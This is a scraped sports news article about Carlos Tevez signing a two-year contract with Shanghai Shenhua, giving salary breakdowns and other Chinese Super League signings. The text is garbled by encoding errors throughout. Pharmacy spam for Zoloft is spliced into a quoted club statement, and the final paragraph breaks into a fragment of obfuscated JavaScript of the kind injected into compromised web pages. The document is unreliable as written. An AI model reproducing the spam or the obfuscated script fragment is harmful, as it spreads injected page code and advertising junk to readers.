Argentine striker Carlos Tevez has officially become the worldas highest-paid football player after signing a whopping $41million-a-year contract at Chinese club Shanghai Shenhua. Tevez penned a two-year deal with the Chinese Super League team, which paid an $11 million fee to his former club Boca Juniors for the transfer.

a?Shanghai Greenland Shenhua FC reached a transfer agreement with Argentina Club AtlAtico Boca Juniors.Carlos Alberto TAvez is officially joined Shanghai Shenhua,a? a statement on the Shanghai Shenhua website read. cheap zoloft online, Zoloft reviews.

The news was confirmed by Boca Juniors on their official website, who released wishing a?El Apachea luck in the Far East – a?After twists and turns…the second stage of Tevez at Boca culminates with two titles (Torneo and Copa Argentina 2015), where he scored 25 goals in 56 games played. Beyond his departure, the club and the fans will wait for his return so that he retires in the club of his loves. Good luck, Carlitos!a?

The breakdown of Tevezas enormous new earning power makes for eye-watering reading; his contract nets him a gross $808,000 a week, $115,000 a day, $4,800 an hour or $80 a minute.The player joins the recent wave of top rate players who have headed to China from Europe like Ezequiel Lavezzi, Graziano Pelle, Ramires and Hulk. On Friday, Brazil international Oscar moved from Chelsea to Shenhuaas city rivals Shanghai SIPG for a reported A?60 million ($73 million).

Tevez joins former English Premier League strikers Obafemi Martins and Demba Ba on the roster of big-spending Shenhua, which also boast former Chelsea and Tottenham Hotspur midfielder and ex-Sunderland coach Gus Poyet as their manager.

Other managers in the Chinese Super League include Guangzhou Evergrande coach Luiz Felipe Scolari, Shanghai SIPG coach Andre Villas-Boas, and Hebei China Fortune’s Manuel Pellegrini. deURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}


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